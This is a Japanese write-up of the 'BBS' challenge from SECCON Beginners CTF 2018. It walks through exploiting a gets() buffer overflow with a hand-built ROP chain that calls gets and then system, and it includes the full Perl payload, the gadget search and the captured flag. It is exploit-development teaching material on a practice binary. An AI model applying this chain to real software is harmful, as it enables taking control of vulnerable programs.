SECCON BeginnersCTF 2018 "BBS" を頭悪く解いた Write-up
SECCON BeginnersCTF 2018,お疲れ様でした.
遅刻したお一人様チームでの参加でしたが,100位台に乗れたのと,このBBSが解けたので個人的に満足してしまってます.
どう頭が悪いかというのは,「世の中には便利ツールやライブラリがあるのに全然活用していない(出来ていない)」あたりです.
今回の場合,終わってからrp++とかgdb-pedaを使えばいいものを,それらの名前や導入方法が全く思い出せなかったのでええいそのままやってまえーとやってしまいました.
先人のっょぃ方々がすでに上げておられますWrite-upとは方針こそ同じですが,微妙に違うやり方になってると思います.
(あとは自分のためにも思考プロセスも書いていこうと)
前半は基本中の基本しか述べてなかったので,新鮮そうなところから読みたい方はここまで飛ばしてください
基本動作は"Input Content:"の後に適当に入力すると,日付の後にその入力が出てくる.
$ ./bbs
Input Content : hoge
==============================
Sun May 27 08:33:31 UTC 2018
hoge
==============================
逆アセンブルの出力を見るとsystem@pltがあるので,ここにコマンドが入れられればいいなあとなります
0x00000000004006c4 <+35>: call 0x400570 <gets@plt>
0x00000000004006c9 <+40>: mov edi,0x4007a0
0x00000000004006ce <+45>: call 0x400520 <puts@plt>
0x00000000004006d3 <+50>: mov edi,0x4007c1
0x00000000004006d8 <+55>: call 0x400540 <system@plt>
0x00000000004006dd <+60>: lea rax,[rbp-0x80]
0x00000000004006e1 <+64>: mov rsi,rax
0x00000000004006e4 <+67>: mov edi,0x4007c8
0x00000000004006e9 <+72>: mov eax,0x0
0x00000000004006ee <+77>: call 0x400550 <printf@plt>
"lea rax,[rbp-0x80]"が直前にあり,かつgetsがあるのでそれでBOFさせたらSegmentation faultで落ちてくれるだろうと.
main関数の中で自作の関数のcallがないので,main関数のretの時に落ちてくれるだろうと.適当にながーい文字列入れたら案の定落ちてくれました.
ここでの思考は「BOFでsystem@pltに導いてあげればよさそう」です.
それだけの頭で何も考えずに,スタックに"/bin/sh"と,そのアドレスを用意して引数を積んでsystem@pltにretさせようと必死になってました.
当たり前の話ですが,動作するわけないです.
引数はスタックに積むのではなく,レジスタに格納する(第一引数はediレジスタ)スタイルです.
pwnの経験がほとんどない自分は一旦ここで詰みました.無理じゃないか!!!と
何も出来ないまま思考することしばらくして,「もしかして,これが俗に言うROPなのでは...?」となりました.
現時点で欲しいのは「任意のアドレスをediレジスタに入れる」ことだけ(と思っていた)ということもあって,これくらいなら自分でも出来そうと,頑張ってみました.
さて,ここからがおそらく他の方と違うやり方であり,頭の悪いやり方の山場になります.
次につなげるための脱線話
生のバイナリの逆アセンブルの規則の一つとして,レジスタの割り当ての順番は
rax → rcx → rdx → rbx → rsp → rbp → rsi → rdi
の順番で命令のレジスタ指定がなされます.
どういうことかというと,例えば「pop %rax」は生のバイナリでは0x58です.これをベースと考えると,
pop %rax : 0x58
pop %rcx : 0x59
pop %rdx : 0x5a
pop %rbx : 0x5b
とベース命令が分かればあとはオフセットと足していくと,生のバイナリから逆アセンブル結果を推定できることがあります.
今回はrdiレジスタはオフセットが7なので,「pop %rdi」は,0x58 + 7 = 0x5fと考えることができます.
この考え方は,地味に2オペランドの場合でも似たような規則が適用できることがあります.
(prefix) [operation] [register] (immediate)
という理解をしています.()は該当する時に追加されます.
(prefix)はr8 ~ r15レジスタが絡んでいたり,一部の64-bit演算に41や48など主に4で始まる数字が先頭にくっついています.
この[register]の部分も先ほどと同様のルールが使えます.
registerのベースとなるのは,「%rax, %rax」で"0xc0"です.
c0 : %rax, %rax
c1 : %rax, %rcx
c2 : %rax, %rdx
c3 : %rax, %rbx
...
c7 : %rax, %rdi
c8 : %rcx, %rax
c9 : %rcx, %rcx
...
cf : %rcx, %rdi
d0 : %rdx, %rax
...
ff : %rdi, %rdi
ある種の整数の繰り上がりのようにレジスタの組み合わせと,そのオフセットが上がって行きます.
例えば,"48 31 c9"というバイナリが出て来た時,
48 ... prefix
31 ... operation
c9 ... register
と分解して考えることができます.(一概には言えないかもしれませんが...)
経験則ですが48は,r-prefixのレジスタを用いた算術演算などでよく出てきます.31はXOR命令です(これは覚えるもの(?)).
次にc9ですが,上の一部の対応表から「%rcx, %rcx」に対応するので,この3byteは「XOR %rcx, %rcx」と翻訳できます.
脱線話終わり
話を戻すと,ROPを構築するためにほしいものは「pop %rdi; ret」です.上の脱線話から,脳内でバイナリに置き換えると「5f c3」になります.なのでこれが問題バイナリに存在していないかの探索をします.
$ hexdump -C bbs | grep "5f c3"
00000760 41 5e 41 5f c3 90 66 2e 0f 1f 84 00 00 00 00 00 |A^A_..f.........|
オフセット0x763に「pop %rdi; ret」がありました.
なので,mainから0x400763にretすれば任意の値をrdiレジスタに格納すること出来そうです.
あとは,実行させるコマンドの文字列が欲しい.gets@pltがあるのでこれを活用しよう.書き込みに必要なバッファは.data領域が使えそうなのでアドレスを特定したところ,0x601048でした.
$ readelf -S bbs | grep .data
[16] .rodata PROGBITS 0000000000400780 00000780
[25] .data PROGBITS 0000000000601048 00001048
最終的な方針としては,
main → 0x400763 → gets@plt → 0x400763 → system@plt
と遷移できるようにROPをすれば良さそうです.
ここでも頭の悪さというかなんというか,pythonが扱えないのでperlで地道に書いていました.
$offset = "A"x0x78;
$tmp = "\x00\x00\x00\x00\x00\x00\x00\x00";
$buf_addr = "\x48\x10\x60\x00\x00\x00\x00\x00";
$system = "\x40\x05\x40\x00\x00\x00\x00\x00";
$gets = "\x70\x05\x40\x00\x00\x00\x00\x00";
$rop = "\x63\x07\x40\x00\x00\x00\x00\x00";
print $offset.$tmp.$buf_addr.$rop.$buf_addr.$gets.$rop.$buf_addr.$system;
print "\n";
print 'cat flag.txt';
$ ./solve.sh
Input Content :
==============================Sun May 27 18:55:38 JST 2018
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
==============================
ctf4b{Pr3p4r3_4rgum3n75_w17h_ROP_4nd_c4ll_4rb17r4ry_func710n5}